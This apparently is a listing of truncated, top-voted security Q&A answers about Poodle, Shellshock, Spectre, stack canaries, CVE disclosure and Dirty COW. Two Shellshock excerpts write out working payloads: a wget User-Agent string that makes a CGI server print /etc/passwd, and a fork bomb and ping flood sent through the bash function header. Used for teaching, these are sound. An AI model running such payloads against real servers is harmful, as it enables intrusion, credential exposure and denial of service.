266

What is the Poodle vulnerability ? The "Poodle" vulnerability, released on October 14th, 2014, is an attack on the SSL 3.0 protocol. It is a protocol flaw, not an implementation issue; every implementation of SSL 3.0 suffers from it. Please note that we are talking about the old SSL 3.0, not TLS 1.0 or later. The TLS versions are not affected (neither is ...


156

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo "Content-type: text/plain" echo echo echo "Hi" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/...


121

This answer is an attempt at addressing simply the main concerns. The details here might not be exemplary accurate, or complete. I'll try to link to more detailed explanations when possible. What is speculative execution and what does it do? Speculative execution is a feature of modern processors that comes as an optimisation. To allow for the parallel ...


98

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb: () { :; }; :(){ :|: & };: Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server. Or, somebody could use your server as an attack bot: () { :; }; ping -s 1000000 <victim IP> Put ...


93

Canary Stack canaries work by modifying every function's prologue and epilogue regions to place and check a value on the stack respectively. As such, if a stack buffer is overwritten during a memory copy operation, the error is noticed before execution returns from the copy function. When this happens, an exception is raised, which is passed back up the ...


87

the only point of easy penetration to a system seems to be via javascript running in a web browser. How about Flash? Java? Silverlight? VBA in an office document? Any applications that load web-pages inside of themselves? The thing is, once a box has rogue code running, it's already compromised. With code running under your user account a lot can be ...


66

You can do either, but I recommend applying for a CVE so that customers who get threat intelligence feeds are more likely to notice the issue and expedite a patch. Assigning a CVE also makes it easier to reference a specific vulnerability in general communications if you need to later. It's also a signal to your customers that you take security transparency ...


59

You are essentially asking what to do if you are using software which is known to be vulnerable but where no updates are available. This is a problem not restricted to Android phones but you'll find it everywhere, for example in IoT devices like routers or cameras but also with software on the PC which only get support for a limited time. The answer should ...


56

It crashed because some input was not processed correctly. An attacker may try to find the code path that leads to the faulty procedure and attempt to execute arbitrary code through potential vulnerabilities. Crashes may give an attacker valuable information about the system and its internal details. Crashes may create temporary vulnerabilities or leave ...


55

It can't be exploited remotely without another vulnerability. You need to be able to execute commands on the system already. A classic example would be a web shell. Say the server is running a web application which has a vulnerability allowing you to upload a web shell or otherwise execute system commands. These commands will typically be executed as a low-...


52

There used to be a "vulnerability" where the image could send a HTTP 401 Unauthenticated response, which would trigger a login screen for the user. If you set this as forum avatar, it would spawn a login popup for anyone visiting a page where your avatar appears. Lots of people will then attempt to log in with some username and password combination, probably ...


50

CVE-2012-4969, aka the latest IE 0-day, is a based on a use-after-free bug in IE's rendering engine. A use-after-free occurs when a dynamically allocated block of memory is used after it has been disposed of (i.e. freed). Such a bug can be exploited by creating a situation where an internal structure contains pointers to sensitive memory locations (e.g. the ...


49

Compared to the famous HeartBleed bug leak, this is similar in some ways: the uninitialized memory exposure means unrelated private data is disclosed. The things that are better This only affected code running on CloudFlare, and the bug ceased to function an hour after notification. No new data can be leaked via this bug. If somebody had awareness of this ...


47

TLS 1.0 when properly configured has no known security vulnerabilities. Newer protocols are better designed and better address the potential for new vulnerabilities. So that's why I wouldn't personally recommend disabling TLS 1.0, primarily because IE 7-10 don't support TLS 1.1 out of the box. If you look carefully at the support matrix at: https://en....


35

There is quite a lot of them: Metasploitable: Currently there are 2 versions. Kioptrix: Currently 4 challenges. Hackademic: Apparently 2 VM, check 1 and 2. pWnOS: Currently 2 challenges. Standalone which you can install directly without VM, this is to hone your Webattack-Fu: OWASP WebGoat Damn Vulnerable Web Application Mutillidae


35

To disable SSL v3.0 support: In Clients: Mozilla Firefox Either Install the Mozilla add-on called "SSL Version Control" Or Type about:config into the navigation bar and press [Enter] Accept the warning and proceed Search for tls Change the value of security.tls.version.min from 0 to 1 (0 = SSL 3.0; 1 = TLS 1.0) Chrome Run Chrome with the following ...


34

Apple apparently takes this seriously, since they "disabled Java" in users' computers, which is a rather drastic move. This actually smells like a pretext to kill off the technology, as part of a wider strategy. For this specific hole, there are a few details there. It is all about the Java applet model. To understand: Java is a programming language and a ...


34

The computer cannot guess what it is "supposed" to do. Instead, it does exactly what it is told to do -- that's what programming is about. As a corollary, computers have no initiative whatsoever, so if they are asked to do something stupid or nonsensical then they just do it. A bug is what happens when the sequence of instruction written by the programmer ...


32

I've published a blog on how to disable SSLv3 in some of the most common bowsers and server platforms (https://scotthelme.co.uk/sslv3-goes-to-the-dogs-poodle-kills-off-protocol/). This should at least help answer the question on how to fully mitigate POODLE be you a client or a server. Below are the key details. How to protect your server The easiest and ...


31

In my world, applying patches is a given. We're going to do it and it takes an exception to NOT apply a patch. Right now, those are exploits we know about for Spectre and Meltdown. However, what's to guarantee that there won't be more? Further, many exploits out there (such as Wannacry/Petya) involve systems that aren't patched for this known issue. I'd ...


28

The dirty cow vulnerability, is a a privilege escalation vulnerability in Linux kernel versions 2.6.22 and higher; it has existed since 2007 and was fixed on Oct 18, 2016. What is the possible impact of dirtyc0w bug? An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their ...


28

There is currently no real risk just based on the TLS protocol version for the end user when visiting a site which provides only TLS 1.0 (TLSv1) with a modern browser, i.e. a current version of Chrome, Firefox, Edge or chromium based browsers like Opera. Fortunately browser vendors today actually care about security and if TLS 1.0 would be too insecure it ...


27

Canaries and other volatiles do not prevent the overflow; they just try to cope with the consequences of an overflow which has happened. The canary tries to detect the case of an overflow which overwrote the return address in a stack frame. DEP is one step further, it assumes that the return address has been overwritten and followed, and it restricts the ...


25

There is no "real" security issue in TLS 1.1 that TLS 1.2 fixes. However, there are changes and improvements, which can be argued to qualify as "fixing". Mainly: The PRF in TLS 1.1 is based on a combination of MD5 and SHA-1. Both MD5 and SHA-1 are, as cryptographic hash functions, broken. However, the way in which they are broken does not break the PRF of ...


23

As with a lot of breaking-news coverage of computer security, there's a lot of questionable reporting on PortSmash. It's not actually very interesting, as it doesn't really add much to the attacker toolkit. It only affects a very narrow set of targets, which are already vulnerable to other attacks (and have been for years). Colin Percival actually described ...


23

It would be helpful to publish the CVE so that others know it's necessary to update: as you said, they can see it in threat intelligence feeds (or CVE scans) instead of having to read the changelog of every update to decide whether they need to update. Additionally, as a pentester, it helps us a lot in our work. If we find SAPConnectorDeluxe 4.1.39, the ...


22

Like Steve Sether said, this is not a man-in-the-middle attack. How dangerous is it? In some cases, buffer overflow attacks are possible. Your private SSH keys can be leaked to an attacker. According to the page: SSH roaming enables a client, in case an SSH connection breaks unexpectedly, to resume it at a later time, provided the server also ...


21

I'd suggest in additiona to HamZa DzCyberDeV's answer: Pentester Labs exercises which are full VMs as well as full detailed walkthroughs etc. These are great for all skill levels and i've found them most useful.


19

To determine definitively the degree to which this might or might not be "a prudent step", I think you would have to do some original security research on the possible replacements, which include: Debian's dash OpenBSD's ksh Busybox ash MirBSD/MirOS mksh ...and certainly others Mark's answer suggests that at least OpenBSD's has received security scrutiny ...


Only top voted, non community-wiki answers of a minimum length are eligible